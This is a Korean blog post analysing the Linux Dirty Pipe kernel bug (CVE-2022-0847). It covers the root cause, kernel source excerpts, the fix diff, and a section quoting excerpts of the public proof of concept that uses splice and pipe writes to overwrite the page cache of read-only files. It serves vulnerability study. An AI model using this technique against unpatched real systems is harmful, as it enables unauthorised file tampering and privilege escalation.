3038 words
15 minutes
CVE-2022-0847

Intro#

TOOR 팀 활동을 하며 분석하게된 리눅스 커널 원데이 취약점에 관한 글입니다.

이번에 알아볼 Dirty Pipe 취약점은 2022년 3월 7일에 공개된 리눅스 파이프 처리와 관련된 커널 취약점입니다.

해당 취약점은 리눅스의 pipe 연산 과정중 파이프 버퍼에 설정된 플래그값이 파이프관련 시스템 콜에서 적절하게 초기화가 진행되지 않고 사용되어 발생하는 취약점입니다.

이로인해 공격자는 읽기 권한이 있는 파일의 페이지 캐시를 덮어쓸 수 있습니다.

본 글은 선행 연구를 진행하신 다른 연구원분들의 글들을 읽고 제 나름 분석을 진행하며 취약점을 공부하며 이해하고 정리해본 결과로 작성하게된 글입니다. 나름의 분석을 해봤지만 맞지 않는 부분이 있을 수 있으며, 만약 이를 발견하셨을 시 피드백해주시면 적극 반영하도록 하겠습니다. 취약점 및 PoC 분석에 많은 도움이된 자료는 다음과 같습니다.

Vuln#

  • CVE-ID : CVE-2022-0847
  • CWE-665: Improper Initialization

RCA#

취약점은 파이프의 특정 연산으로 인해 설정된 PIPE_BUF_FLAG_CAN_MERGE의 초기화가 제대로 진행되지 않아서 발생하게됩니다. 이게 무슨뜻일까요?

리눅스가 파이프를 생성하는 호출 흐름을 보면 다음과 같습니다.

위의 플로우를 보면 알 수 있듯, 파이프를 생성할 때 데이터의 이동을 위한 pipe_buffer 구조체를 생성합니다.

리눅스 커널 버전 5.16.10에서의 파이프 버퍼의 구조체를 확인해보면 다음과 같습니다. (본 글에서 오디팅에 사용된 코드들은 전부 리눅스 커널 버전 5.16.10의 소스 코드입니다.)

/**
* struct pipe_buffer - a linux kernel pipe buffer
* @page: the page containing the data for the pipe buffer
* @offset: offset of data inside the @page
* @len: length of data inside the @page
* @ops: operations associated with this buffer. See @pipe_buf_operations.
* @flags: pipe buffer flags. See above.
* @private: private data owned by the ops.
**/
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};

구조체에서도 알 수 있듯, 파이프 버퍼는 데이터 이동을 위해 페이지를 참조하고 있습니다.

이 버퍼는 pipe_inode_info에서 다음과 같이 배열(struct pipe_buffer *bufs) 형태로 관리됩니다.

/**
* struct pipe_inode_info - a linux kernel pipe
* @mutex: mutex protecting the whole thing
* @rd_wait: reader wait point in case of empty pipe
* @wr_wait: writer wait point in case of full pipe
* @head: The point of buffer production
* @tail: The point of buffer consumption
* @note_loss: The next read() should insert a data-lost message
* @max_usage: The maximum number of slots that may be used in the ring
* @ring_size: total number of buffers (should be a power of 2)
* @nr_accounted: The amount this pipe accounts for in user->pipe_bufs
* @tmp_page: cached released page
* @readers: number of current readers of this pipe
* @writers: number of current writers of this pipe
* @files: number of struct file referring this pipe (protected by ->i_lock)
* @r_counter: reader counter
* @w_counter: writer counter
* @poll_usage: is this pipe used for epoll, which has crazy wakeups?
* @fasync_readers: reader side fasync
* @fasync_writers: writer side fasync
* @bufs: the circular array of pipe buffers
* @user: the user who created this pipe
* @watch_queue: If this pipe is a watch_queue, this is the stuff for that
**/
struct pipe_inode_info {
struct mutex mutex;
wait_queue_head_t rd_wait, wr_wait;
unsigned int head;
unsigned int tail;
unsigned int max_usage;
unsigned int ring_size;
#ifdef CONFIG_WATCH_QUEUE
bool note_loss;
#endif
unsigned int nr_accounted;
unsigned int readers;
unsigned int writers;
unsigned int files;
unsigned int r_counter;
unsigned int w_counter;
unsigned int poll_usage;
struct page *tmp_page;
struct fasync_struct *fasync_readers;
struct fasync_struct *fasync_writers;
struct pipe_buffer *bufs;
struct user_struct *user;
#ifdef CONFIG_WATCH_QUEUE
struct watch_queue *watch_queue;
#endif
};

위의 파이프에 대한 정보는 get_pipe_inode에서 생성된 inode에 등록됩니다. 다음 get_pipe_inode 일부의 코드에서 볼 수 있듯, 파이프 연산에 대한 테이블(pipefifo_fops)이 삽입됩니다.

static struct inode * get_pipe_inode(void)
{
struct inode *inode = new_inode_pseudo(pipe_mnt->mnt_sb);
struct pipe_inode_info *pipe;
...
pipe = alloc_pipe_info();
...
inode->i_pipe = pipe;
pipe->files = 2;
pipe->readers = pipe->writers = 1;
inode->i_fop = &pipefifo_fops;
...
}

테이블에 명시된 연산들을 살펴보면 실제 파이프를 통해 특정 연산(read, write등)를 수행했을 때 동작하게되는 함수들을 알 수 있습니다.

const struct file_operations pipefifo_fops = {
.open = fifo_open,
.llseek = no_llseek,
.read_iter = pipe_read,
.write_iter = pipe_write,
.poll = pipe_poll,
.unlocked_ioctl = pipe_ioctl,
.release = pipe_release,
.fasync = pipe_fasync,
.splice_write = iter_file_splice_write,
};

파이프에 쓰기 작업을 할 때의 pipe_write 함수의 일부 코드를 살펴봅시다. 다음은 파이프가 초기상태로 파이프 버퍼에 페이지가 비어있는 경우 pipe_write는 다음과 같은 루틴을 통해 페이지를 할당하게되고 파이프 버퍼 슬롯에 페이지가 삽입됩니다. 해당 영역에는 유저 영역에서 넘어온 데이터가 기록됩니다.

for (;;) {
if (!pipe->readers) {
send_sig(SIGPIPE, current, 0);
if (!ret)
ret = -EPIPE;
break;
}
head = pipe->head;
if (!pipe_full(head, pipe->tail, pipe->max_usage)) {
unsigned int mask = pipe->ring_size - 1;
struct pipe_buffer *buf = &pipe->bufs[head & mask];
struct page *page = pipe->tmp_page;
int copied;
if (!page) {
page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);
if (unlikely(!page)) {
ret = ret ? : -ENOMEM;
break;
}
pipe->tmp_page = page;
}
/* Allocate a slot in the ring in advance and attach an
* empty buffer. If we fault or otherwise fail to use
* it, either the reader will consume it or it'll still
* be there for the next write.
*/
spin_lock_irq(&pipe->rd_wait.lock);
head = pipe->head;
if (pipe_full(head, pipe->tail, pipe->max_usage)) {
spin_unlock_irq(&pipe->rd_wait.lock);
continue;
}
pipe->head = head + 1;
spin_unlock_irq(&pipe->rd_wait.lock);
/* Insert it into the buffer array */
buf = &pipe->bufs[head & mask];
buf->page = page;
buf->ops = &anon_pipe_buf_ops;
buf->offset = 0;
buf->len = 0;
if (is_packetized(filp))
buf->flags = PIPE_BUF_FLAG_PACKET;
else
buf->flags = PIPE_BUF_FLAG_CAN_MERGE;
pipe->tmp_page = NULL;
copied = copy_page_from_iter(page, 0, PAGE_SIZE, from);
...

위 코드 중에서 다음 조건문에 의해서 할당된 버퍼 정보에 PIPE_BUF_FLAG_CAN_MERGE가 설정될 수 있다는 사실을 알 수 있습니다.

if (is_packetized(filp))
buf->flags = PIPE_BUF_FLAG_PACKET;
else
buf->flags = PIPE_BUF_FLAG_CAN_MERGE;

is_packetized 함수는 생성된 파이프에 대한 파일 포인터의 flags에 O_DIRECT가 설정되었는지 확인하는 함수로 기본적으로 사용자 영역에서 이 플래그를 제어(설정)할 수 있습니다.

static inline int is_packetized(struct file *file)
{
return (file->f_flags & O_DIRECT) != 0;
}

따라서 파이프 생성, 데이터 기록시에 파이프 버퍼의 flags에 PIPE_BUF_FLAG_CAN_MERGE 플래그가 설정된 파이프 버퍼를 만들 수 있습니다.

이렇게 설정된 PIPE_BUF_FLAG_MERGE 플래그는 지금부터 알아볼 splice 시스템 콜 함수에서 적절하게 초기화되지 않아 문제가됩니다.

splice 시스템 콜은 파이프와 파이프간, 혹은 파이프와 파일간의 데이터 이동에 있어서 효율적인 처리를 위해 고안된 함수로, 데이터를 전송하는 과정에 있어서 유저 공간으로의 데이터 복사를 필요로 하지않고 커널 영역에서의 데이터 이동이 가능하게해줍니다.

즉, 파일에 있는 데이터를 파이프에 옮기거나 파이프에 있는 데이터를 파이프에 옮기는 과정에서 유저 영역으로의 복사를 생략하고, 커널 영역에서의 이동만으로 효율적인 처리를 하는 함수라고 생각하면됩니다.

splice 시스템 콜은 파이프를 대상으로한 시스템 콜로 다음과 같은 경우를 지원합니다.

  • pipe → pipe
  • file → pipe
  • pipe → file

이러한 splice의 호출 흐름 중 file → pipe의 흐름에 대한 그림을 그려보면 다음과 같아집니다.

NVD의 Description 내용을 보면 알 수 있듯, 취약점은 위 흐름 중 copy_page_to_iter_pipe에서 발생하는 것을 알 수 있습니다.

플로우에 나타난 filemap_read는 페이지 캐시로부터 데이터를 읽어들입니다. 그리고 이렇게 읽어들인 페이지 정보는 copy_page_to_iter를 통해서 파이프로 전달하는 과정을 거치게됩니다.

copy_page_to_iter_pipe를 확인해보면 이렇게 읽어들인 페이지가 어떻게 파이프로 이동하는지 알 수 있습니다.

static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes,
struct iov_iter *i)
{
struct pipe_inode_info *pipe = i->pipe;
struct pipe_buffer *buf;
unsigned int p_tail = pipe->tail;
unsigned int p_mask = pipe->ring_size - 1;
unsigned int i_head = i->head;
size_t off;
if (unlikely(bytes > i->count))
bytes = i->count;
if (unlikely(!bytes))
return 0;
if (!sanity(i))
return 0;
off = i->iov_offset;
buf = &pipe->bufs[i_head & p_mask];
...
if (pipe_full(i_head, p_tail, pipe->max_usage))
return 0;
buf->ops = &page_cache_pipe_buf_ops;
get_page(page);
buf->page = page;
buf->offset = offset;
buf->len = bytes;
pipe->head = i_head + 1;
i->iov_offset = offset + bytes;
i->head = i_head;
out:
i->count -= bytes;
return bytes;
}

위 코드를 보면 알 수 있듯, 앞서 가져온 페이지 캐시를 현재 파이프 버퍼의 헤드 부분에 삽입하는 것을 볼 수 있습니다. 이 과정에서 페이지 캐시에 대한 정보를 갖는 파이프 버퍼의 플래그 값이 초기화되지 않습니다. 이로인해 앞서 살펴본 pipe_write의 루틴 중 PIPE_BUF_FLAG_CAN_MERGE가 버퍼에 설정되어있을 경우의 처리로 인해서 페이지 캐시를 덮어쓸 수 있게됩니다.

static ssize_t
pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
...
if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
offset + chars <= PAGE_SIZE) {
ret = pipe_buf_confirm(pipe, buf);
if (ret)
goto out;
ret = copy_page_from_iter(buf->page, offset, chars, from);
if (unlikely(ret < chars)) {
ret = -EFAULT;
goto out;
}
buf->len += ret;
if (!iov_iter_count(from))
goto out;
}
}
...
}

PIPE_BUF_FLAG_CAN_MERGE가 설정되어있을 경우 pipe_write는 삽입되는 정보를 페이지 캐시에 그대로 작성하게됩니다.

이는 읽기권한만 있는 파일에도 동일하게 적용되며, 플래그가 제대로 초기화되지 않은 시점에서 읽기 권한만 존재하는 파일의 페이지 캐시를 덮어써 원하는 데이터를 읽게 유도할 수 있습니다. 자세한 공격 방식은 PoC 파트에서 알아봅시다.

PoC#

PoC는 여기에서 확인할 수 있습니다.

먼저 공격에 사용할 파이프와 파이프 버퍼의 플래그를 설정하는 prepare_pipe 함수의 일부입니다.

/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
...
/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}

파이프를 만들고 모두 비움으로써 모든 파이프 버퍼의 플래그를 PIPE_BUF_FLAG_CAN_MERGE로 설정합니다.

이렇게 만들어지는 공격용 파이프는 main 함수에서 다음과 같이 사용됩니다.

int main() {
...
const int fd = open(path, O_RDONLY); // yes, read-only! :-)
...
/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);
/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
...
}

splice 시스템 콜을 통해 file → pipe 형태의 연산으로 파이프에 읽기 전용 파일에 대한 참조가 생성됩니다.

즉, 파이프 버퍼에 읽기 전용 파일에 대한 포인터가 담기게됐고, 플래그는 초기화되지 않은 상태입니다.

파이프는 읽기 전용 페이지 캐시에 데이터를 쓸 수 있게 됐습니다. 따라서 다음과 같은 공격 코드로 원하는 데이터를 원하는 오프셋 지점부터 써넣습니다.

/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], data, data_size);

Patch#

patch 내용은 이곳에서 확인할 수 있습니다.

--- a/lib/iov_iter.c
+++ b/lib/iov_iter.c
@@ -414,6 +414,7 @@ static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t by
return 0;
buf->ops = &page_cache_pipe_buf_ops;
+ buf->flags = 0;
get_page(page);
buf->page = page;
buf->offset = offset;
@@ -577,6 +578,7 @@ static size_t push_pipe(struct iov_iter *i, size_t size,
break;
buf->ops = &default_pipe_buf_ops;
+ buf->flags = 0;
buf->page = page;
buf->offset = 0;
buf->len = min_t(ssize_t, left, PAGE_SIZE);

파이프 버퍼의 플래그를 초기화 시키는 코드가 추가됐습니다.

Mitigation#

해당 취약점에 대한 보안 업데이트를 통해 취약점을 완화시킬 수 있습니다.

References#